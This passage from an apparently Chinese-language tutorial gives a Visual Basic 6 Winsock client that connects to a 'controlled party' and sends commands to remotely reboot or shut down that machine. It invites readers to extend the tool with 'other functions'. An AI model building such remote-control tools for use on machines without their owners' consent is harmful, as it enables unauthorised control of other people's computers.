CancelDisplay As Boolean)MsgBox "错误", vbOKOnly, "注意!" 注释:如程序出现错误,则简单的退出EndEnd Sub--》客户端程序(Client.exe)程序界面如图[control.jpg]防入四个命令按钮,一个标题框,一个Winsock控件,其属性设置如下:------------------------------------------------------------------------- -控件名| 控件类| 属性| 属性值----------------------------------------------------------------------------closewin_but | commandbutton | caption | 远程关闭startwin_but | commandbutton | caption | 远程重启connect_but | commandbutton | caption | 连接exit_but | commandbutton | caption | 退出state_lab | label | borderstyle | 1-----------------------------------------------------------------------------代码如下:Private Sub Form_Load()Winsock1.LocalPort = 22226 注释:本地端口可任选,只要不冲突且小于65535,用注释:netstat -an命令可查看当前通信进程Winsock1.RemoteHost = "127.0.0.1" 注释:调试时此IP将对本机操作,实际应用时可注释:换上被控方IPWinsock1.RemotePort = 1334 注释:对应服务器端的localportstate_lab = "未建立连接."End SubPrivate Sub closewin_but_Click()If Winsock1.State <> sckConnected Thenstate_lab = "请先建立连接"ElseWinsock1.SendData "b" 注释:发出关闭命令End IfEnd SubPrivate Sub startwin_but_Click()If Winsock1.State <> sckConnected Thenstate_lab = "请先建立连接"ElseWinsock1.SendData "a" 注释:发出重启命令End IfEnd SubPrivate Sub connect_but_Click()On Error GoTo skipIf Winsock1.State = sckConnected Thenstate_lab = "已建立连接了"ElseWinsock1.ConnectEnd IfExit Subskip: 注释:用netstat命令看到状态为Time_wait则If Err.Number = 10048 Then 注释:须等待一段时间才可连接,也可换另一注释:端口,可加快连接速度MsgBox "端口正在使用,请稍后再试!", vbOKOnly, "注意!"EndEnd IfEnd SubPrivate Sub exit_but_Click()Winsock1.Close 注释:关闭连接且退出EndEnd SubPrivate Sub Winsock1_Connect()state_lab = "建立连接成功!可发送命令."End SubPrivate Sub Winsock1_Error(ByVal Number As Integer, Description As String,ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String,ByVal HelpContext As Long, CancelDisplay As Boolean)MsgBox "错误", vbOKOnly, "注意!"EndEnd Sub通过上面的例子,我们大概了解了远程控制的原理,对于其他功能的实现应该不难了。